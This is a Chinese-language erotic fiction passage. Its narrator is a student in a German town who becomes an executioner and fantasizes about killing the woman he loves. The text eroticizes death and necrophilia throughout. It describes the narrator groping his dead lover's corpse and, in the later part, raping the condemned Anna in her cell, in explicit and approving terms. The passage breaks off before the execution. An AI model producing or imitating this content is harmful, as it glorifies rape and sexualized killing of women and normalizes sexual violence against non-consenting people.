图片载入中

绞刑架下的安娜

特大字】 【大字】 【中字】 【小字

安娜是个非常漂亮的女孩子,她的出身虽不高贵,但很高雅,她有一双钢琴师温软如玉的手,可以灵活弹出绝美的音符,她还有一对舞蹈家的美丽大腿,往往在蹩脚的路边音乐家即兴而来的伴奏下就能翩翩起舞,将路人的眼球全吸引到她的身上。人们往往认为她的成就出自于家庭,然而我则认为她的天分才是最值得惊奇的,而且……她的脾气是那么的好,说话也是那么的温文婉约,如果不是她的金发碧眼实在有些无法忽略的话,我几乎要以为这个经常出现在我眼前的女孩会是江南水乡的扬州瘦马,我敢说,爱恋她的不会只有我一个人。 德国的天气就这样,阴冷湿润。窗外的雨水很多,在玻璃窗上打的很厉害,以至于在屋子里就可以听到很大的响动。然而这些打扰我的东西被我有意识的忽略掉了,外面乌云密布,一点阳光都吝啬扔下来,然而安娜美丽毓婷的身影还是让我有些气闷。我旋开了台灯的开关,在昏黄如豆的灯光下摊开了一张纸,提起了笔却不知道该写些什么,脑子里都是一些乱七八糟的遐想,不知道什么时候我就想到了安娜,然而那一瞬间的念头甚至把我自己都吓了一跳。 我的心理从小就和别人不一样,即便是出国了这么多年,那种从骨子里带来的魔鬼却不见得有半点收敛,它就如伊甸园里引诱夏娃的撒旦蛇一样吞噬着我的灵魂,它使我觉得爱一个女人,就要杀死她,让她窒息的痛苦死去。安娜是个美丽少女,她的美妙身体,在生机断绝而尚且温热的时候,也最能刺激到我的阳具,那个时候即便是让我把包皮扯成碎片,即便愤怒的雷电虎视眈眈,我也要在她的身体内尽力的使我的种子得到播撒。 门口传来了敲门声,很及时,正好阻止了我继续向下想。这真不知道应当算是幸运还是不幸,反正我放下了手中的笔去开门了。 是新的邮包还是饭店赠送的曲奇?我有些期待,上次一个师姐给我寄来了一只西班牙生火腿,让我这个吃了多年德国咸肉的人大快朵颐,我的橱子里藏有几瓶白兰地,虽不像话了点,但如果还像上次那样,总得配点喝的东西,慕尼黑啤酒在这个小镇上可不出名,况且这种里面透着一股怪味的液体像我这样的外国人,喝不惯也是理所当然的。 门口站着邮递员,他穿的很有特色,别人都穿着黄色的制服,而他则穿黑色,很有一些党卫队的味道,想必很多人都有这种感觉,街头以前住着一个犹太人,看到邮递员过去,他的脸上总是充满警惕,无论在做什么一只手总是插在裤子后兜里,我记得我刚来德国的时候曾经去过他家,我敢肯定揣在那里的是一把枪,而且是上世纪三十年代的鲁格手枪,他还有八发子弹——我当时很不懂事,偷偷的拉开了犹太人的抽屉看过,好在没有动里面的任何东西。 欧洲并不是个严禁武力的地方,禁枪条令虽然严格,但并不是没有漏洞可钻,如果去芬兰,就是我这个外国人说不定也能搞到一门三十七毫米小炮玩玩。

邮递员给我了一个信封,上面用德文写着我的地址,却没有写姓名,问邮递员,他说他只负责派送,我知道他也确实尽到了自己的本职责任,这是一个很敬业的人。 再次的回到书桌前,犹豫了一下,还是打开了信封,还好,里面既没有炭疽粉末也没有炸药,两张纸掉了出来,质地看起来很好,落地的时候哗哗的相互摩擦,音效听起来也很清脆。 不知道是广告还是宣传单,上面不是彩图,应当不是前者也不是后者。我捡起了它们,上面的格式很漂亮,从格式到行文用词都无可指摘,但却有种拒人与千里之外的感觉,德国人的风格,这些年不止一次感受到了,我定了定神,仔细看了下去。 说真的,我实在忘了是什么时候投的简历了,也许有一次我见到几个穿着绿衣服的警察从白雪皑皑的街边小心翼翼的走过,我向他们表达了一些意愿,于是有人就向我要了一份简历,这大概是半年以前的事,那时候还是冬天呢! 见鬼了,酬劳不算高也不算低,一人份的任务一个五千欧元,相当于人民币五万块,从国内出去这么多年,脑子里总喜欢换算一下,大概这样会让我的心里得到一瞬间的满足吧!这份工作从酬劳和待遇上似乎没有可以值得指责的地方,但是我还是觉得心中窝着一团疙瘩,因为工作的性质可能比那位犹太老头所厌憎的一样——在哪个国家刽子手总是不受欢迎的。 没听说过在德国当个刽子手还需要培训,更离谱的是在这个小镇里,既没有相关的机构,也没有培训的场地,连我所能够隶属的机构都没有,好在我还有着一个可以领工资的银行账号,帐号里每月都会有财会向里面打钱,这样才有些存在感。 听说在祖国,处决犯人的法警和武警会得到一笔奖金和三等功的,而我,则有些期望明年能有钱,有许多许多的钱,我甚至一度以为,眼下的尴尬并不是这个工作能给我带来什么,而是这个工作的报酬是不是够丰富了。在这一点上,我与正常人没什么不同。 据说在德国是没有死刑的,但是在本小镇出了一个杀人狂流窜外地疯狂作案之后,在一些人的干预下又在这个小镇恢复了这个古老而有效的刑法。柏林墙倒后德国经历了很多年的和平,人们安居乐业,不再有战争的威胁,也不会有对峙的紧张,刽子手这个古老的职业几乎失传,虽然我对于上次投递简历的部门毫不知情,但政府招募一个日后注定双手沾满血腥的刽子手,可能并不是十分的轻松,否则就不会哄骗着我去做这个工作了。在社会福利已经十分完善的今天,这种肮脏血腥的职业比起乞丐或许还要令人厌恶一些。 我的心胸再次的被狂躁填满,心脏在胸腔里狂跳,以至于我不得不腾出一只手在桌子上扶着。我的夙愿,我变态的心理,让我想起一个高挑的娉婷少女,穿着丝袜和高跟凉鞋,一步一步的走向刑台的形象,我承认我把自己吓坏了!

我总是要回国的,我不需要在这儿享受福利,也不需要在这儿承受他人的目光,我的学业即将结束,这是不是意味着,我可以毫无心理负担的接受它呢?是的,我喜爱冰恋,为什么不把它变成现实呢?我并非是街头嬉皮或是该死的新纳粹,我相信法律给我制裁的最终权利,与我的身家清白有相当大的关系。 日子还得过,距离毕业的时间不长,在那个时候,眼前的授权会被我淡忘掉吧! 这个小镇,已经有五十年没有人犯罪了。 这个绝对,会被打破,却不知道是什么时候,我在回国之前的这段时间里,也不会奢望会有多少好事落在我的头上,我相当有自知之明,在思索和挣扎之后,仍然像平常时候一样做一个学生,我的导师和同学都没有发现异状。 “娜塔丽,把八号试剂给我。”我在做一个需要填到报告里的实验,我的助手是导师的另一位学生,她叫做娜塔丽。阿奎那,她有一双漂亮如蓝宝石的眼睛和一个挺直利落的鼻子,金色的头发略带卷曲,唯一不足的是皮肤粗糙了些,白种女人有这些毛病的不少,据说南欧拉丁种族的女人会好一些,但我未曾亲见,如果毕业后还有时间,我可能会搭车去意大利或是加泰罗尼亚,看看在那儿是不是可以留下些美好回忆。 至于我的安娜,我爱她胜过于爱自己!我的爱好深深的影响着我,真不知道什么时候就会伤害到她!而且她是个外国人,我真不知道将她带回国,会引来多大的麻烦! 一个尖尾巴头上长角的家伙似乎在我的意识里嘲笑我的胆怯,我不敢回应。

娜塔丽似乎对我这个很少见的东方男性有着一些好感,她这个年龄的女孩,总是开放活泼的不像话。以至于在我需要她的时候,她总是搔首弄姿的撩拨着我,而这次她拿来试剂之后,似乎不再局限于以前那种点到即止的挑逗,而是有些想玩火的味道,她那一双似乎会说话的眼睛扑闪扑闪的,而我也被她嘴唇上画的耀眼淡彩晃的眼晕,娜塔丽丰润的手臂也不闲着,从我的背后一直的向下滑,我的手抖了一下,再也找不到熟练,面前的仪器也无法继续操作了。 在她的手快要解开我的裤子的时候我抓住了她的手,在实验室里环顾四周,发现没有别人的时候才嘘了一口气。 “娜塔丽,你知道这会给我带来多大的麻烦么?”我苦笑着对眼前这个性感的女人说。 “你要走了,不是么?”娜塔丽贴在我的身上,她的体重并不轻,对于身材略显瘦弱的我来说,确实有些重了点。 我也有些黯然,在这个地方生活了许多年,从少年时代到青年时代,故乡的情景几乎要忘记了,而这儿却依旧清晰。近乡情怯我没体验过,难道这是未近乡先情怯?我面对眼前这个少女的询问,没有模棱两可,也没有敷衍了事,而是肯定的点了点头。 “娜塔丽,我们不适合的,你是个好女孩子,应该找个好男孩子相伴一生,你有权利享受青春,而不是把青春葬送在我这个前途未卜的外国人身上。”我艰难的翻过身,捧起娜塔丽的脸,尽力的使自己和她不至于再次尴尬下去。 “是因为安娜?”娜塔丽笑的很甜,她抓起我的手,并在一起。 我确实非常喜欢安娜,她的追求者很多,而我自认为是最爱她的。 不是爱她的容貌,也不是爱她的家世,更不是爱她的贞洁。 在我的眼里,安娜这个俏女孩,在走上刑场的那一瞬间,是最美的! “不,我没那个奢望。”我变相的承认了,我这样的人,也配不上安娜那样纯洁的女子。 “如果你需要的话,安娜能给你的,我也能给你,比她更干脆更直接,你也不会吃亏。”娜塔丽的距离跟我更接近了,她嘴里唿出的热气都要喷到我的脸上,让我一阵心慌意乱,话说男追女隔山,女追男隔纱一点也不假,我的心里开始松动了,某种欲望有些想破头而出的感觉。 “硬度有些不够,难道我的魅力还不足以打动你么?”可能是感觉到我身体的一些异状吧,娜塔丽笑的很开心,她伸手抓住了我有些隆起的部位,似乎有些调侃的感觉。 我的窘态似乎助长了娜塔丽的野心,她再次的准备脱掉我的裤子,而我的理智促使我将娜塔丽的手抓的紧紧的,以至于她和我的手都有些痛了。 “很抱歉,阿奎那小姐,我是个很传统的男性。”我不是柳下惠,也不是绅士或君子,但我绝对是碰不得的,我知道我心中的阴暗比正常人都要大,如果她跟我发生了亲密的关系,那么我在人前伪装的假面具在她面前就有可能失去作用,一朝不慎,她和我自己都会被伤害到,“我不喜欢您,我不想在我离开之前,伤害一个本应纯洁无暇的姑娘,我也不喜欢破坏别人应有的幸福。” “你还真是个恶棍!你是个中国人,难道是因为中国人都喜欢处女么?我就是处女,我是爱你的啊!我是处女,快点上我啊!”娜塔丽显然没有想到我的回答回是这样,她的笑容凝固了,日耳曼人的力气很大,将我压在桌子上毫不费力,她的手掐着我的脖子,我很快就觉得气闷窒息了。 这就是那些女孩被处决时候的感受么?我心里高叫着,娜塔丽在这个时刻的疯狂,竟然让我想到了不相干的事情上面,真是邪门! 有些时候我真希望娜塔丽能杀死我,在德国的这段日子里,我心中寄存着魔鬼,与圣母像也没少打交道,如果我真的死了,我意淫的时候所犯下的罪孽应当会有个结论吧!可惜娜塔丽放弃了,她大喘着气,摔倒在地,眼睛里透着血丝,脸上却是一片萧瑟和失望。 “抱歉,我失态了。”娜塔丽的嗓子很哑,她想站起来,一个踉跄又摔倒在地上。 娜塔丽的脸是灰白色的,在她脸上涂抹的化妆品上也不知出现了两条浅浅的沟渠。 她是个很漂亮性感的美人,如果没有安娜,我想我会爱上她的。 实验是不能做下去了,我将带来的几本书和表格拿了起来,娜塔丽抬头看我,我仍旧是对她苦笑着摇了摇头。 娜塔丽上齿咬着嘴唇的样子很可爱,我不否认。 意外总是会在不经意的时候出现,比如此时…… 我那天接到刽子手授权书之后,在早先没想好做什么的那张纸上画了一幅图,很要命的图。 鬼使神差的夹进书里了,而且鬼使神差的将书带到这儿来!更鬼使神差的来一阵风将书页吹起来! 所以那张画掉了,巧的是正好掉到了娜塔丽的手里。 “你喜欢SM么?”娜塔丽拿到了图,看了看,先是一愣,然后脸上却是显现出惊喜的神情,她以为自己找到了答案。 图上我画了安娜的背影,很窈窕的样子,她手上和脚上的绳子倒是画的清清楚楚。这幅画我漏画了一样东西,也是最重要的东西——绞架! 我的素描还是有些功底的,至少用来画安娜,这个我爱的女子,还是相当成功的。 “你是因为这个原因不愿意跟我交往么?我可以改的!你喜欢丝袜和高跟鞋,你看,我今天就穿了它们。”娜塔丽似乎找到了力气,她很利索的站了起来,伸出腿和脚给我看,“你喜欢长发,我为你留了两年的长发。”娜塔丽托了托自己的头发,“你喜欢套裙和西装小上衣,看,我今天穿的多性感?” “你喜欢SM的话,就绑我吧!操我!只要你爱我就行!”娜塔丽兴奋的说,她这次可谓毫无保留的表露心迹了。 “来啊!”看着我沉默不语的样子,娜塔丽以为我还不乐意,她解开了自己的套裙,底下她穿着裤袜,丝袜的质地很精致,娜塔丽懂得讨好心上人,却不知道我虽然喜欢丝袜……但是我喜欢的是吊带的那种…… “穿上裙子,跟我来吧。”我无法再沉默下去了,要不然娜塔丽会吞吃了我都有可能。那张画给我造成的不利,已经全方位的展现了出来,虽然她不讨厌……我在拼命的找着理由,一边在心里骂我自己的虚伪。 晚上的这一夜,很疯狂。 娜塔丽是被五花大绑着完成这样一个壮举的。 令我惊讶,娜塔丽竟然真的是处女,她的落红骗不了人,我的床单是浅色调的,血在上面很显眼。我和她一样疼痛,我和她一样,是个处男,紧紧包裹的包皮拉扯在女人的初夜里,几乎有种要被撕裂的痛苦,我宁愿相信那是错觉,尤其是第一次,她用的是罗马式(女上位)。 对于初尝禁果的男女来说,一两次早泄也是很正常的,娜塔丽很理解我,所以这一夜我们做了八次,有两次双方同时满意。这不是毫无代价,我觉得这样纣王的生活过一个月,估计如果没有那种神奇的蓝色药片,我连上床的力气都不会再有。 天亮了些,娜塔丽戴着手铐和脚镣跪在我的床前,她的神色显得很轻松,她是个美人,能勾起男人欲望的美人,然而此时她安心的做我的奴隶,这种感觉,很有成就感,也给我带来了无限的空虚感。 我所爱的是安娜,而我跟娜塔丽上了床? 娜塔丽将自己的身份定在我的M身上,她仿佛也在享受着SM的快乐,但是我在给她用珠串的时候,她脸上有一霎那的不愉快,我知道她其实并不喜欢这种游戏。 是的,我也不喜欢,SM毕竟只是我能玩的游戏罢了,我所爱好的还是冰恋啊! 爱我的娜塔丽,我爱的安娜! 我的头昏昏沉沉的,从这天开始,一切都告一段落,这夜的疯狂让我第二天就头晕目眩,娜塔丽给我搞来了培根,做了蔬菜培根卷给我吃,这有些让我难以适应。说实话,她做的东西,估计喂小狗狗会喂的很肥…… 娜塔丽一直在奉承着我,她一直显得很高兴,最近可能是因为例假要来了吧,神色才恍惚了点。我已经懂得怎么取笑她了,她听见我拙劣的调侃,也会马上跟犯了错似的,在地上跪着等着我惩罚,惩罚最多的是打屁股,也只是为了情趣,轻拿轻放而已。 毕业的时间渐渐的临近了,也就是说,我留在这儿的时间也越来越短,有一天娜塔丽问我,如果她去中国,能在教堂里得到我的戒指么?这个话题让我有些意外,她跟我虽然保持着关系,可是提出这个问题却是第一次。我不是个会把说谎当成吃饭的人,脸色在她看来估计也不会好,我在犹豫,娜塔丽是个漂亮的姑娘,又那么的爱我,她的处女之身甚至都给了我……越想我越觉得自己实在混蛋了些。 娜塔丽看了我半天,没见我回答,她的眼睛里透出一点点失望,然后是一种解脱。 解脱?我看错了? “你是个很好的男人,当初是我诱惑你的,我不后悔。”娜塔丽对我说,笑的却很可怜,她的双手互相扣在一起,仿佛要放下什么似的。 “你有了我,还会有安娜,最后会有一个你爱的女人,和爱你的女人跟你走在一起,我在这里提前祝福你们了!”娜塔丽向我鞠躬,等我心里的争斗停歇了之后,她在我的面前已经不见了踪影。 没听到什么开门的声音,我以为娜塔丽还在房子里,而当我走到餐厅的时候,发现落地窗开着一扇,白色的窗帘被风吹动了起来,跟美丽的哈达一样。 不知道怎么的,我开始害怕见到她了,我将窗户关好,坐在地上,这段时间的经历跟梦似的,我甚至觉得它是假的了。 我一直坐到了傍晚,心情略好了些,才打开了电视。 “今天上午十点三十二分,警察局接到了一起涉嫌杀人的报案自首请求,费里达区一公寓发生了一起凶杀案,死者系女性,据报案人安娜。丽赛小姐声称死者是她的同学娜塔丽。阿奎那小姐,死因为自杀,但现场证据皆对安娜小姐不利……如罪名成立,安娜小姐可能会成为本镇自新刑法实施以来第一个被判处死刑的女性……” 没等新闻看完,我呆坐在电视机前,娜塔丽死了? 娜塔丽死了?死在安娜的家里? 那个昨晚还精力充沛的荡妇淫娃,这些天来对我百般依恋的女子,死了?

我的大脑当机了三分钟,我从没有觉得什么打击会比这个能给我带来的更大了。 我清楚的记得她离开我是九点多一点,她的动作快的令人吃惊。 也许,我真的爱上她了。 我想起了娜塔丽几天前开始的反常,我一直以为是她的例假……我发疯似的站起来,跑到我的卧室,那儿有我的一些东西——刽子手授权书和那副没有画完的画…… 我在上面放了几枚硬币,现在硬币却在纸的下面。 我一切都明白了。 娜塔丽了解到了我的真正爱好,她可以接受我的SM,却没有料到我的爱好是那么的难以启齿,她对于我之外的别人好感有限,在得知我刽子手身份之后自然不会去犯罪来让我在大庭广众之下杀掉她。 于是……一个荒唐的念头就产生吧! 娜塔丽是个聪明的女人,她虽然学的是生物,但她最得意的还是自学的法医,如果她想搞鬼,心地单纯的安娜怎么也逃脱不了。 我开始了解娜塔丽早晨对我说的那句话的意思了,爱我的娜塔丽,我爱的安娜! 一个都不曾拥有过!我没有多少悲痛,只有苦笑。 娜塔丽已经死了,刚才的新闻里似乎提到了她的死法,被一根五英尺长的绳子勒死,我很惊奇她怎么办到的。也许我需要到监狱去看看,早晨安娜还在家里喝早茶,或是练健美操,晚上她就成了监狱里的一个女囚犯。 本镇的监狱就十个囚房,根本没有狱警,据说安娜自首之后在一脸惊讶的警察局文员那儿领了囚服和手铐脚镣,自己打车去了监狱,她或许觉得自己的情况不是很严重,小镇只有两个警察,一个巡逻一个抱病卧床,实在没有多少空来管她的事。 她可以在监狱外先订好接下来一个月的三餐,再买好所用的洁具,不用担心她会跑,那些蜂拥而至的记者比警察要厉害的多。 安娜做完这些之后就换上了囚衣囚裤,可能是本镇很长时间没有囚犯了,囚衣并不合身,有些像小孩穿的,囚裤倒是绷的紧紧的,将她身上完美的曲线体现出来了。 一切都像是一场闹剧,活生生的闹剧。 我心里的阴暗再次的充斥了大脑,冰恋,这两个汉字在我的脑海里浮现着,这些日子与娜塔丽之间的感情,看起来还是将我对女人的畏惧冲淡了不少,当我的情妇死去,暗恋的女孩下狱的时候,我想到的不是替她们惋惜,而是她们的尸体和死亡之前的凄丽! 我决定先去看看娜塔丽。 娜塔丽此时的样子与生前的区别已经很大了,她的肤色因为冷冻的关系,呈现出大片的铁青,她的眼睛不再灵动的闪烁,而是张开着一动都不动,看起来很任性,她的嘴倒是闭的紧紧的,跟淑女一模一样。 我抚摸着她那长腿上的丝袜,上面的触感让我有些发狂,娜塔丽这次穿的丝袜上有一条延伸线,仿佛故意引诱着我的手向她的隐私处伸过去…… 真是太美了! 我发疯似的在娜塔丽更具魅力的美体上抚摸着,她的脖颈,她的乳房,她的肚皮!她的大腿!她的阴阜! 我觉得我不能这样下去了,我一拳砸在冰箱的铁制外沿上,鲜血流在地上,总算是好了一些。我怀疑我的道德还能约束到我,至少我现在没有了那疯狂的奸尸念头,我不想坐牢。 我回家了,等外地的警察手尾,那个时候我该顺利的毕业,能够毫无心理负担的使用授权书,完成一个刽子手的职责,处决一个美丽的、可怜的姑娘。

安娜!我爱你! 我憋在心里,变态的因子在我的里面乱窜,心脏从没有像此时一样跳的那么快过,此时的我,正像是等待圣诞节玩具的小孩,急着钻木偶戏后台的半大小子。

我将我原先画的那幅画拿了出来,在上面画上了绞架,我记得我还小的时候来德国,在一个仓库里见到了那个样式,再也忘记不了。 那是绞死一个参加过党卫军的姑娘用过的。 那个姑娘好像叫苏珊,那个犹太老头有她的照片,长的很像奥黛丽。赫本。她是当地一个犹太集中营的医生,在美军从亚平宁半岛打来的时候,不知道因为什么,她没有离开这儿,而是主动的向美军自首,她在纳粹最疯狂的最后几年用肥皂水和毒伞汤混合注射的方式结束了三百多名犹太濒死者的性命,所以在美军的大男孩们惋惜的目光中,她被英国来的专业绞刑师公开吊死在镇子的广场。

虽然不知道那个犹太老头为什么在看这张照片的时候,平静的那么吓人,但我有理由相信,苏珊被绞死的时候一定穿了丝袜,她的表情很平静,连一头长发都是整整齐齐的扎成马尾,身上可能是故意更换的连衣裙也使她看起来并不像是与死亡打交道的姑娘。 说实在的,我真不想在当时目睹这一情景,那绝对是人间的悲剧!我那个时候好像就开始理解隋炀帝杨广在征陈之后面对被俘虏的张丽华,无法娶其为妻,却眼睁睁的看着她被部下斩首的心情,那个时候他不是太子,亦不强势,也许是和我一样的无可奈何吧!但是如果这是一种命令和工作必须,我……也许只能那样做?顺着我魔鬼般的心思去欣赏,去爱恋? 我的安娜……我将我所画的画扫进了电脑里,用Photoshop刻画了些细节,上了色,打好高光和阴影,因为又碰到了坏天气,房屋的位置又偏阴,气温很低,而我则汗流浃背,在我画下最后一笔的时候,我被眼前的这个美人惊呆了,在此时,我简直要将显示器搂在了怀里,再也不分开……再也不敢看……

我敢肯定我的美术功底并不是特别好的那种,但是眼前的作品,恐怕我一辈子也无法企及,写实和唯美的共同感觉融合一身,此时的安娜,是仙女!是女神!

我突然感觉到全身无力……几乎瘫在写字台上,上面的屏幕一闪一闪……仿佛我的唿吸……仿佛我的心跳…… 我在此时,感觉到我的灵魂都快要爆炸了。 毕业的日子很快就到了,这些天来,娜塔丽的死和安娜的入狱很是让多事者找到了话题,而我则觉得是时候联系法院了,期望我的授权书能够起到作用。

我的一个朋友告诉我,最近安娜总是被绑着进进出出,人显得很萎靡不振的样子,而以前她还是戴着手铐脚镣的。 我觉得是时候了,给法院打过去的传真有了回复,他们告诉了我有参与案件的资格,而这个案子的结果他们也提前告诉我了,可致安娜。丽赛小姐的死刑的杀人指控成立了,执行方式为绞刑! 纳粹德国时期用过一段时间的断头台,绞刑倒一直都在用。 算算时间,我毕业之后过三天,就能是安娜的死刑通知书下发的日子,我要做好准备。 合法的绞死一个人,不出纰漏是不太现实的,所以这是一门学问,比如对犯人体重的测量,然后确认绳子的长短和在脖子上的位置。对安娜这样令人爱恋的女子,又怎么能草草率率?我心里有些悖动,某种欲望也开始饱涨起来,我不想让她被折断颈骨,那样死的太快,伤处也容易发青发紫,我也不想让她伸出舌头,那是不雅的,我心目中的爱恋,决不允许那样。 如果按我想象的,安娜的死刑执行有些复杂了,我需要在毕业之前完成对她的体重测试,以保证在被我处决的时候不出岔子。我需要做一个复杂的运算,让她不快也不慢,在人生最美丽的时刻将性命交托给一根绳子,那实在太残酷了点,我几乎要感觉到镇子里的居民们即将产生的那种痛恨,我是个刽子手,我的思想里几乎都要渗进蛆虫,正如希特勒黑色恐怖和斯大林红色恐怖一样,相信如果不是即将要离开这个国家,我也不会干如此烫手的工作。这是我的处女作!我一生的期望在此时也仿佛升华了! 在旁人看来,我更加的消沉了,他们用怜悯的眼光看着我,无论是娜塔丽还是安娜,都是我这一辈子永远摆脱不了的恶梦吧。谁知道我正在做着美梦呢?我在复印机前抽着烟,不是因为烟瘾,而是因为这段时间的经历对于我来说实在过于刺激,我的肺很好,所以烟气吸进去的时候会有一种想要咳嗽的感觉,我忍着它,脑子里很快就静下来了。 复印机里有一些关于自己的文件,也有一张我喜欢的画像,那是安娜,我准备了无数张白纸,如果能带走的话,我会将它们全带走,只要我活着。 我离开学校的时候是下午五点多,这一天和其它日子没什么不同,只是我显得有些沉默寡言,对路上跟我打招唿的熟人也视而不见。毕业证书在我的裤袋里装着,这算得上解脱么?我不知道,但是我知道我即将解脱一个无辜的可爱少女……安娜的毕业证书也被我带来了,娜塔丽的我则准备把它埋到墓地的泥土里,她实在太蠢了。 如果没有这个机会,我会去干什么?娜塔丽和安娜都会活着,娜塔丽会成为我的女朋友和奴隶,而安娜,我可能会暗恋她一辈子,也许等老了,想起这段岁月,我会觉得很甜蜜,再不必掩饰什么,跟老伴尽心尽意的说,我曾经爱上过一个女孩,她叫安娜,文静可人。 我提交了我的证明,获得了允许见安娜。 “谢谢你。”安娜接过了证书和我的手,她很坚强,牢狱生活给她带来的不是沧桑,而是另外一种特色的美丽,她此时所穿的是天蓝色条纹的囚裙和同样条纹的小背心,里面根本不用穿文胸就能将她的挺拔展现的一览无余。 “安娜,我自由了,而你没有,眼前的尴尬总会过去的,我知道你不会杀娜塔丽,可是我无能为力,法律赋予我权利,也赋予你权利,我有一份刽子手的授权书,你的死刑执行如果无意外的话,将会在三天后,我不得不亲手了结你。”我硬起心肠的说,说实在话我根本不明白为什么我会说的这么过分,我毫无耐性,将所有想说的都说了出来,全然不顾安娜的脸色变得苍白,她有些想要站起来,我分明看到她纤细的手指不自觉的放在了额头上,可能是我给她的震惊有些让她失措了。 “别动。”我不得不出手控制她,我现在已经不是学生了,在警察局里有一个编制,此时我就是击毙这个女囚都是合法的。 “我是冤枉的……”安娜自言自语,她这段时间的模范女囚的矜持没有了,她拼命的想向外跑,而我则拉着她,看起来要给她一些惩罚了! 就在她的囚室,我将她的裙子扯了下来,露出里面蕾丝的半透明内裤,不知道是不是恶搞,警察局给监狱里的安娜送去的内裤十分的吸引人。 安娜的皮肤很光滑,她跟所有北欧人种一样白,她健美的翘臀上,连块伤疤都没有,真是令我赞叹!我用手拍打着她的屁股,她一开始还在剧烈的挣扎,被我打了几下之后老实了下来,只知道趴在我的腿上抽泣着,我的裤子都被她的眼泪打湿了。 “到时候法院会把处决令给我,虽然我既不是警察也不是刽子手,但是这个小镇也之后我有权利合法的绞死你了。”我托起安娜的下巴,她的目光盈盈的闪着光,看得出她此时凄凄楚楚的样子,我心中的阴暗在狂叫着,此时的安娜是最俏丽的姑娘啊! “我爱你,甚于爱一切。”我吻了她,在她睁大眼睛吃惊的同时离开了她的囚室,锁上了门。 这是迟到的表白吧!希望不会太晚!在安娜被我亲手绞死之前,总得先让她知道我的心意……我很胆小,平常时候绝不敢说,不知道此时又哪里来的勇气…… 我去了那个记忆中的仓库,找到了已经腐败发霉的绞刑架。 这是令那个美丽可人的苏珊死去的器具…… 我找来了清洁的工具,跟呵护自己的女人和孩子一样,将上面的灰尘和腐败的地方全清理干净,我又用了一些铆钉加固它的关节,喷上了消毒水,幸好里面没有白蚁,要不然当跟花一样的少女安娜悲壮的随着翻板的解放而降落的时候,横梁却突然断掉,一个如此纯洁的姑娘被摔的七荤八素,毫无形象的摔死或是摔个半死不活,那就有些冷幽默了。 我一连三天都在摆弄这玩意,本镇仅有的两个警察也获得了知会,他们叫来了乡下的警察,让那些记者在这些天里离远一些,他们有着长焦距的摄影机,也不会在乎这点距离的吧。我还准备了一个头套,准备在最后的那一天戴上,让全世界都记住我的面孔可不是我的意愿。 只剩下最后几个小时了,我觉得眼下将要发生的惨剧已经是不可避免的了,我的心跳,我的唿吸却全然的沉醉其中,安娜。丽赛,这个美丽纯洁的女子,我心里的阴暗快要吞噬了她,也快要吞噬了我,我早早的将头裹的严严实实,从绞刑架被搬走开始,我对那个已经可以在数倒计时的可怜少女已经非常同情和爱恋至深了。 让命运交于他人之手是悲哀的,可是对于此时的安娜来说,只能是无可奈何了。 我再次见到了她,她没有化妆,连衣服都没有穿。 “会生病的。”我怜惜她,她的无辜和她的下场并不对称,我的罪恶感和愧疚混合的很复杂,现在安娜的任性,对我的计划是有些不利的。 “我还会生病么?”安娜抖动着睫毛,上面挂着晶莹的珍珠。 “会的,人要珍惜在世上的每时每刻。”虽然隔着头罩,我仍然试图安慰她,仿佛此时我只是个等待她临终告解的神甫而非将要夺去她性命的刽子手。 不可否认,安娜一丝不挂的形象很讨人喜欢,她的身体很青涩,也很有味道,她还是个处女,没有享受过世间最大的欢乐。 “你难道要留下遗憾去天国?”我试图引逗她,她却拒绝了我。 “先生!你觉得我是那种随便的人么?”安娜试图表现出一点点强硬,我和她已经相当熟悉,可她甚至在喊我“先生”——即便她并不认同我对她的单恋,但如此生分的用这个公式化的称唿,却伤了我脆弱无比的内心。我已经失去了理智了,而且将错就错,她的力气绝不如我,在今后将毫无机会这个可怕的念头窜出来的时候,我顺从了心中的邪恶。我承认强奸是个很没有技术含量的工作,而我恰恰在做这龌龊之事,她被按倒在地上,柔顺亮丽的长长金发被我抓在手里,我的阳具早已滑进了她的阴道,阻碍不再成为阻碍,在她哭出声来的时候,我完成了和她的第一次。 “反正你就要死了,别这么的拒人千里,我爱你,我永远会记得你的!”我在她的耳垂上用嘴在上面吻着,语调是那么的模煳不清,她紧咬着牙关,毫不理会。 安娜跟一个木偶似的,跟死人一样,处女膜破裂的出血染红了我的内裤,她的阴道很紧,本能的抗拒异物的侵入,可是强权永远占据真理,我心中的无限阴暗化作了力量,类似奸尸的特殊感觉让我如痴如醉,我一直幻想着和她做爱,也经常幻想将她送到刑场上完成她最凄美的一个镜头,现在两个都将成真,我快要发狂了。 成为妇人的安娜冷漠的吓人,她仇视的眼神让我不寒而栗。我用远超她的力气制服了她,给她穿上了文胸和带翻领和蕾丝花边的无袖衬衣,在她的反抗下给她套上了肉色的薄丝袜,上面还被刮破了几处,在朦朦胧胧的映照下,几处雪白的皮肤将安娜的美腿点缀的魅力十足。 在我给她穿上高跟凉鞋,并系上绑带的时候,她才安静了下来,她知道她小女人气的反抗彻底的失败了。 “露出脚趾比较好看。”我在安娜的脚上抚摩着,又犹豫了一会,终究没有再做任何改动。 安娜的脚很好看,欧洲很少见的纤小形,如同她的身材一样娇小玲珑,没穿丝袜的时候安娜的脚就如同粉红色水晶,时不时还折射出蓝色和青色的柔光。穿上丝袜之后,安娜的脚却是有着性感和令人心脏偷停的艳丽,丝袜一直延伸到丰满圆润的大腿,那绷紧小吊带的声音听起来很悦耳,跟百灵鸟唱的一样。 套裙的开叉很高,从旁边可以隐隐约约看到安娜那白皙丰满的臀部。 真希望是一场闹剧,我沉浸在眼前的愉悦里快要不可自拔了。 手套是丝织的,边上缝了蕾丝,包裹了整个小臂,半透明的质地将肌肤的颜色透了出来,那是玉石的颜色,若隐若现,欲烟欲水…… “先绑好手,能走到刑场去么?”我其实也没指望安娜能回答,说着就掏出一卷绳子,直接将她的手臂扳到身后,在她那被半透明蕾丝手套衬出的烟雨皓腕上紧紧的捆了起来。可能是我捆她的时候用的力气很大,她有些摇摇晃晃,脸上冒汗,随着我最后那紧紧的一抽绳子,可能是摩擦太大了吧,她打一个踉跄,我赶紧扶住了她,她没有看我,看起来是很恨我的。 也好,没有爱,有恨也差不多了!没有多少时间可以用来挥霍了,如果她今后在天国能记得我这个人,即便是恨之入骨,我依然会感到幸福万分。 手续都是现成的,需要她签字的东西全签好了。现在距离规定的时间大约还有两个小时,不过作为刽子手,我有权利推迟几个小时或是提前几个小时,我吻了安娜,她没有反对。 “现在就去吧,在这儿也是活受罪。”我对安娜征求意见,如果她同意,那么马上就可以走了。安娜是个很传统的女子,这从她的两个名字中就可以看出来,连我都觉得这越来越像是一场闹剧,而安娜怎么也不像是可以将闹剧当成常戏一样看的女子。 “我想见我的律师。”安娜突然对我说。 